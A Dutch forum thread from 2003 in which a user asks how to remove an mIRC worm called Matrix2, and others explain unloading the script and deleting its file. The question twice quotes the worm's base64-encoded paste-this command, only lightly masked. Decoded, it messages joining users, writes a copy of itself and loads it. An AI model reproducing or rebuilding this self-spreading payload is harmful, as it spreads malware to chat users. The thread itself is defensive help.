[IRC]Nieuwe Trojan: Matrix2

[mmedia]

Een vriend van me kreeg deze private message on irc

Code iets aangepast, zodat ie geen kwaad kan

code:

 //***** Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFU
UklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyIC
QgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbS
kgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBt
ZSArUiB9IH0=,m) | .**** -rs Matrix2 | //mode $me +R

Helaas heeft hij deze code uitgevoerd. Nu stuurt zijn irc client allerlei private messages met dezelfde boodschap. Hoe kom je van een dergelijk trojan/virus af. Norton Antivirus 2002 met alle updates herkent niks helaas...

[Verwijderd]

Mirc verwijderen van je HD. Opnieuw installen en kijken even of er niks automatisch wordt opgestart.

[aReaRe]

in je scripts kijken waar die file geladen wordt

En dan die load -rs Matrix2 weghalen

Onder Mirc: ALT - R (remote en remote.ini) en dan zoeken op die load commando's.

Daarna irc client afsluiten en opnieuw starten

[ Voor 43% gewijzigd door aReaRe op 19-05-2003 15:48 . Reden: aanvulling ]

[Spruit_elf]

en/of voor de zekerheid het bestandje "matrix2"weg halen

het is namelijk geen virus die in de rest van het systeem zit
het is alleen maar een commando dat ie een bestandje wegschrijft waarin staat dat ie naar iedereen dat berichtje moet sturen

[ Voor 66% gewijzigd door Spruit_elf op 19-05-2003 16:27 ]

[DaMoUsYs]

als je naar dalnet gaat op IRC en dan naar #help dan geven ze je een linkje die het virus voor je verwijdert

ik heb er zelf namelijk ook last van gehad

[Pyrus]

mmedia schreef op 19 May 2003 @ 15:43:
Een vriend van me kreeg deze private message on irc

Code iets aangepast, zodat ie geen kwaad kan
//***** Matrix2 $decode(b24gISsxOmpvaW46Izp7IC5hdXNlciAyICRuaWNrIHwgLm1zZyAkbmljayBGT1IgTUFU
UklYIDIgRE9XTkxPQUQsIFVTRSBUSElTIENPTU1BTkQ6AzQgLy93cml0ZSBNYXRyaXgyIC
QgJCsgZGVjb2RlKCAkKyAkZW5jb2RlKCRyZWFkKCRzY3JpcHQsbiwxKSxtKSAkKyAsbS
kgJGNocigxMjQpIC5sb2FkIC1ycyBNYXRyaXgyICRjaHIoMTI0KSAvL21vZGUgJCAkKyBt
ZSArUiB9IH0=,m) | .**** -rs Matrix2 | //mode $me +R

Helaas heeft hij deze code uitgevoerd. Nu stuurt zijn irc client allerlei private messages met dezelfde boodschap. Hoe kom je van een dergelijk trojan/virus af. Norton Antivirus 2002 met alle updates herkent niks helaas...

Ik ga er van uit dat hier ergens /load stond.
Doe ff /unload -rs Matrix2 en het is opgelost.

[mmedia]

Bedankt voor alle tips

unloaden en matrix2 bestand verwijderen did the trick!